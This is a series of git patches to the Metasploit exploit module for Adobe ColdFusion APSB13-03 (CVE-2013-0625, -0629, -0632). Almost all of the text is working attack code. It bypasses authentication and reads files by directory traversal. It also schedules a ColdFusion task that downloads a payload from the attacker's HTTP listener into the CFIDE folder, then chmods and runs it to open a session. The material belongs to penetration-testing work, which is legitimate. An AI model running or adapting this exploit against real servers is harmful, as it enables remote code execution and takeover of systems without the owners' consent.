From 90e986860efedf0acadf8924105d81f58a1afadc Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Tue, 9 Apr 2013 17:55:28 -0500 Subject: [PATCH 1/3] Adding most suggested changes to jhart's adobe module --- .../multi/http/adobe_coldfusion_apsb13_03.rb | 40 ++++++++++--------- 1 file changed, 22 insertions(+), 18 deletions(-) diff --git a/modules/exploits/multi/http/adobe_coldfusion_apsb13_03.rb b/modules/exploits/multi/http/adobe_coldfusion_apsb13_03.rb index f8e2568712..8864c1a9f6 100644 --- a/modules/exploits/multi/http/adobe_coldfusion_apsb13_03.rb +++ b/modules/exploits/multi/http/adobe_coldfusion_apsb13_03.rb @@ -19,23 +19,18 @@ class Metasploit3 < Msf::Exploit::Remote 'Name' => 'Adobe ColdFusion APSB13-03', 'Description' => %q{ This module exploits a pile of vulnerabilities in Adobe ColdFusion APSB13-03: - * CVE-2013-0625: arbitrary command execution in scheduleedit.cfm (9.x only) - * CVE-2013-0629: directory traversal - * CVE-2013-0632: authentication bypass + CVE-2013-0625 (arbitrary command execution in scheduleedit.cfm (9.x only)), + CVE-2013-0629 (directory traversal), and CVE-2013-0632 (authentication bypass) }, 'Author' => [ - 'Jon Hart ', # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2013-0625'], [ 'CVE', '2013-0629'], - # we don't actually exploit this, as this is the backdoor - # dropped by malware exploiting the other vulnerabilities - [ 'CVE', '2013-0631'], - [ 'CVE', '2013-0632'], ], 'Targets' => [ @@ -50,7 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultTarget' => 1, 'Privileged' => true, - 'Platform' => [ 'win', 'linux' ], + 'Platform' => [ 'win', 'linux', 'unix' ], 'DisclosureDate' => 'Jan 15 2013')) register_options( @@ -103,7 +98,13 @@ class Metasploit3 < Msf::Exploit::Remote # if we managed to login, get the listener ready datastore['URIPATH'] = rand_text_alphanumeric(6) - srv_uri = "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}" + if (datastore['SRVHOST'] == "0.0.0.0") + srv_host = Rex::Socket.source_address(rhost) + else + srv_host = datastore['SRVHOST'] + end + srv_port = datastore['SRVPORT'] || 80 + srv_uri = "http://#{srv_host}:#{srv_port}" start_service # drop a payload on disk which we can used to execute @@ -154,7 +155,6 @@ class Metasploit3 < Msf::Exploit::Remote end def on_request_uri cli, request - cf_payload = "test" case request.uri when "/#{datastore['URIPATH']}-e" cf_payload = <<-EOF @@ -165,6 +165,8 @@ class Metasploit3 < Msf::Exploit::Remote EOF when "/#{datastore['URIPATH']}-p" cf_payload = payload.encoded + else + cf_payload = "test" end send_response(cli, cf_payload, { 'Content-Type' => 'text/html' }) end @@ -216,9 +218,9 @@ class Metasploit3 < Msf::Exploit::Remote 'connection' => 'TE, close', 'cookie' => build_cookie_header(cookie_hash), }) - cookie_hash.merge! get_useful_cookies res if res + cookie_hash.merge! get_useful_cookies res # XXX: I can only seem to get this to work if 'Enable Session Variables' # is disabled (Server Settings -> Memory Variables) token = res.body.scan(/ 'TE, close', 'cookie' => build_cookie_header(cookies) }) - res.body.gsub(/\r\n?/, "\n").gsub(/...Component.*/m, '') + if res and res.body + res.body.gsub(/\r\n?/, "\n").gsub(/.<html>.<head>.<title>Component.*/m, '') + end end end From 0d2746fb4c98d526b46fb169b8845c6370e453c1 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <todb@metasploit.com> Date: Tue, 9 Apr 2013 17:57:49 -0500 Subject: [PATCH 2/3] defs should have parens when taking args While it's allowed in ruby to drop most parens, many are useful for readability. Also adds a missing CVE. --- .../multi/http/adobe_coldfusion_apsb13_03.rb | 27 ++++++++++--------- 1 file changed, 14 insertions(+), 13 deletions(-) diff --git a/modules/exploits/multi/http/adobe_coldfusion_apsb13_03.rb b/modules/exploits/multi/http/adobe_coldfusion_apsb13_03.rb index 8864c1a9f6..0046cfb2fe 100644 --- a/modules/exploits/multi/http/adobe_coldfusion_apsb13_03.rb +++ b/modules/exploits/multi/http/adobe_coldfusion_apsb13_03.rb @@ -18,7 +18,7 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'Adobe ColdFusion APSB13-03', 'Description' => %q{ - This module exploits a pile of vulnerabilities in Adobe ColdFusion APSB13-03: + This module exploits a number of vulnerabilities in Adobe ColdFusion APSB13-03: CVE-2013-0625 (arbitrary command execution in scheduleedit.cfm (9.x only)), CVE-2013-0629 (directory traversal), and CVE-2013-0632 (authentication bypass) }, @@ -31,6 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'CVE', '2013-0625'], [ 'CVE', '2013-0629'], + [ 'CVE', '2013-0632'] ], 'Targets' => [ @@ -134,7 +135,7 @@ class Metasploit3 < Msf::Exploit::Remote handler end - def execute cfm, cmd, args='' + def execute(cfm=nil, cmd=nil, args='') uri = "/CFIDE/" + cfm + "?cmd=#{cmd}&args=#{Rex::Text::uri_encode args}" send_request_raw( { 'uri' => uri, 'method' => 'GET' }, 25 ) end @@ -154,7 +155,7 @@ class Metasploit3 < Msf::Exploit::Remote end end - def on_request_uri cli, request + def on_request_uri(cli, request) case request.uri when "/#{datastore['URIPATH']}-e" cf_payload = <<-EOF @@ -174,12 +175,12 @@ class Metasploit3 < Msf::Exploit::Remote # Given a hash of cookie key value pairs, return a string # suitable for use as an HTTP Cookie header - def build_cookie_header cookies + def build_cookie_header(cookies) cookies.to_a.map { |a| a.join '=' }.join '; ' end # this doesn't actually work - def twiddle_csrf cookies, enable=false + def twiddle_csrf(cookies=nil, enable=false) mode = (enable ? "Enabling" : "Disabling") print_status "#{mode} CSRF protection" params = { @@ -204,7 +205,7 @@ class Metasploit3 < Msf::Exploit::Remote # Using the provided +cookies+, schedule a ColdFusion task # to request content from +input_uri+ and drop it in +output_path+ - def schedule_drop cookies, input_uri, output_path + def schedule_drop(cookies, input_uri, output_path) vprint_status "Attempting to schedule ColdFusion task" cookie_hash = cookies @@ -349,7 +350,7 @@ class Metasploit3 < Msf::Exploit::Remote # Given the HTTP response +res+, extract any interesting, non-empty # cookies, returning them as a hash - def get_useful_cookies res + def get_useful_cookies(res) set_cookie = res.headers['Set-Cookie'] # Parse the Set-Cookie header parsed_cookies = CGI::Cookie.parse(set_cookie) @@ -388,7 +389,7 @@ class Metasploit3 < Msf::Exploit::Remote # credentials for ColdFusion Administrator. # # Returns a hash (cookie name => value) of the cookies obtained - def adminapi_login user, password, use_rds + def adminapi_login(user, password, use_rds) vprint_status "Attempting ColdFusion Administrator adminapi login" user ||= '' password ||= '' @@ -423,7 +424,7 @@ class Metasploit3 < Msf::Exploit::Remote # +password+ # # Returns a hash (cookie name => value) of the cookies obtained - def administrator_login user, password + def administrator_login(user, password) cf_cookies = administrator_9x_login user, password unless got_auth? cf_cookies cf_cookies = administrator_10x_login user, password @@ -431,7 +432,7 @@ class Metasploit3 < Msf::Exploit::Remote cf_cookies end - def administrator_10x_login user, password + def administrator_10x_login(user, password) # coldfusion 10 appears to do: # cfadminPassword.value = hex_sha1(cfadminPassword.value) vprint_status "Trying ColdFusion 10.x Administrator login" @@ -468,11 +469,11 @@ class Metasploit3 < Msf::Exploit::Remote return {} end - def got_auth? cookies + def got_auth?(cookies) not cookies.select { |name,values| name =~ /^CFAUTHORIZATION_/ }.empty? end - def administrator_9x_login user, password + def administrator_9x_login(user, password) vprint_status "Trying ColdFusion 9.x Administrator login" # coldfusion 9 appears to do: # cfadminPassword.value = hex_hmac_sha1(salt.value, hex_sha1(cfadminPassword.value)); @@ -509,7 +510,7 @@ class Metasploit3 < Msf::Exploit::Remote # Authenticates to ColdFusion ComponentUtils using the specified +user+ and +password+ # # Returns a hash (cookie name => value) of the cookies obtained - def componentutils_login user, password + def componentutils_login(user, password) vprint_status "Attempting ColdFusion ComponentUtils login" vars = { 'j_password_required' => "Password+Required", From 83ec9757ecd1145067378c95fec278bcb399a8f5 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Tue, 16 Apr 2013 19:00:26 -0700 Subject: [PATCH 3/3] Addressed feedback from PR#1717 --- .../multi/http/adobe_coldfusion_apsb13_03.rb | 67 +++++-------------- 1 file changed, 16 insertions(+), 51 deletions(-) diff --git a/modules/exploits/multi/http/adobe_coldfusion_apsb13_03.rb b/modules/exploits/multi/http/adobe_coldfusion_apsb13_03.rb index 0046cfb2fe..4e0d5cc25f 100644 --- a/modules/exploits/multi/http/adobe_coldfusion_apsb13_03.rb +++ b/modules/exploits/multi/http/adobe_coldfusion_apsb13_03.rb @@ -13,6 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, @@ -97,6 +98,10 @@ class Metasploit3 < Msf::Exploit::Remote # login cf_cookies = login + # relative to where we operate during the exploit, + # where is the CFIDE directory? + @cf_root = "../../wwwroot/CFIDE/" + # if we managed to login, get the listener ready datastore['URIPATH'] = rand_text_alphanumeric(6) if (datastore['SRVHOST'] == "0.0.0.0") @@ -113,8 +118,8 @@ class Metasploit3 < Msf::Exploit::Remote # which technique (cmd, payload) the user wants input_exec = srv_uri + "/#{datastore['URIPATH']}-e" output_exec = "#{datastore['URIPATH']}-e.cfm" + register_file_for_cleanup @cf_root + output_exec schedule_drop cf_cookies, input_exec, output_exec - if datastore['CMD'] and not datastore['CMD'].empty? # now that the coldfusion exec is on disk, execute it, # passing in the command and arguments @@ -124,35 +129,21 @@ class Metasploit3 < Msf::Exploit::Remote else # drop the payload input_payload = srv_uri + "/#{datastore['URIPATH']}-p" - output_payload = "#{datastore['URIPATH']}-p" + output_payload = "#{datastore['URIPATH']}-p.bat" + register_file_for_cleanup @cf_root + output_payload schedule_drop cf_cookies, input_payload, output_payload # make the payload executable # XXX: windows? - execute output_exec, 'chmod', "755 ../../wwwroot/CFIDE/#{output_payload}" + execute output_exec, 'chmod', "755 #{@cf_root}#{output_payload}" # execute the payload - execute output_exec, "../../wwwroot/CFIDE/#{output_payload}" + execute output_exec, "#{@cf_root}#{output_payload}" end handler end def execute(cfm=nil, cmd=nil, args='') uri = "/CFIDE/" + cfm + "?cmd=#{cmd}&args=#{Rex::Text::uri_encode args}" - send_request_raw( { 'uri' => uri, 'method' => 'GET' }, 25 ) - end - - def on_new_session(client) - return - # TODO: cleanup - if client.type == "meterpreter" - client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") - @files.each do |file| - client.fs.file.rm("#{file}") - end - else - @files.each do |file| - client.shell_command_token("rm #{file}") - end - end + send_request_cgi( { 'uri' => uri, 'method' => 'GET' }, 25 ) end def on_request_uri(cli, request) @@ -179,30 +170,6 @@ class Metasploit3 < Msf::Exploit::Remote cookies.to_a.map { |a| a.join '=' }.join '; ' end - # this doesn't actually work - def twiddle_csrf(cookies=nil, enable=false) - mode = (enable ? "Enabling" : "Disabling") - print_status "#{mode} CSRF protection" - params = { - 'SessEnable' => enable.to_s, - } - res = send_request_cgi( - { - 'uri' => normalize_uri(target_uri.path, "/CFIDE/administrator/settings/memoryvariables.cfm"), - 'method' => 'POST', - 'connection' => 'TE, close', - 'cookie' => build_cookie_header(cookies), - 'vars_post' => params, - }) - if res - if res.body =~ /SessionManagement should/ - print_error "Error #{mode} CSRF" - end - else - print_error "No response while #{mode} CSRF" - end - end - # Using the provided +cookies+, schedule a ColdFusion task # to request content from +input_uri+ and drop it in +output_path+ def schedule_drop(cookies, input_uri, output_path) @@ -227,7 +194,6 @@ class Metasploit3 < Msf::Exploit::Remote token = res.body.scan(/<input type="hidden" name="csrftoken" value="([^\"]+)"/).flatten.first unless token print_warning "Empty CSRF token found -- either CSRF is disabled (good) or we couldn't get one (bad)" - #twiddle_csrf cookies, false token = '' end else @@ -250,7 +216,7 @@ class Metasploit3 < Msf::Exploit::Remote # pick a unique task ID task_id = SecureRandom.uuid # drop the backdoor in the CFIDE directory so it can be executed - publish_file = '../../wwwroot/CFIDE/' + output_path + publish_file = "#{@cf_root}#{output_path}" # pick a start date. This must be in the future, so pick # one sufficiently far ahead to account for time zones, # improper time keeping, solar flares, drift, etc. @@ -302,7 +268,6 @@ class Metasploit3 < Msf::Exploit::Remote { 'uri' => normalize_uri(target_uri.path, scheduleedit_path), 'method' => 'POST', - 'connection' => 'TE, close', 'cookie' => build_cookie_header(cookie_hash), 'vars_post' => params, }) @@ -328,18 +293,15 @@ class Metasploit3 < Msf::Exploit::Remote { 'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?runtask=#{task_id}&csrftoken=#{token}&group=default&mode=server", 'method' => 'GET', - 'connection' => 'TE, close', 'cookie' => build_cookie_header(cookie_hash), }) - #twiddle_csrf cookies, true if datastore['DELETE_TASK'] print_status "Removing task #{task_id}" res = send_request_cgi( { 'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?action=delete&task=#{task_id}&csrftoken=#{token}", 'method' => 'GET', - 'connection' => 'TE, close', 'cookie' => build_cookie_header(cookie_hash), }) end @@ -397,7 +359,6 @@ class Metasploit3 < Msf::Exploit::Remote { 'uri' => normalize_uri(target_uri.path, %w(CFIDE adminapi administrator.cfc)), 'method' => 'POST', - 'connection' => 'TE, close', 'vars_post' => { 'method' => 'login', 'adminUserId' => user, @@ -620,6 +581,8 @@ class Metasploit3 < Msf::Exploit::Remote false end + # Read the file located at +path+ using the provided ColdFusion +cookies+, + # returning the contents of the file if found, an empty string otherwise def traverse_read(path, cookies) uri = normalize_uri(target_uri.path) uri << "CFIDE/componentutils/cfcexplorer.cfc?method=getcfcinhtml&name=CFIDE.adminapi.administrator&path=" @@ -633,6 +596,8 @@ class Metasploit3 < Msf::Exploit::Remote }) if res and res.body res.body.gsub(/\r\n?/, "\n").gsub(/.<html>.<head>.<title>Component.*/m, '') + else + return "" end end end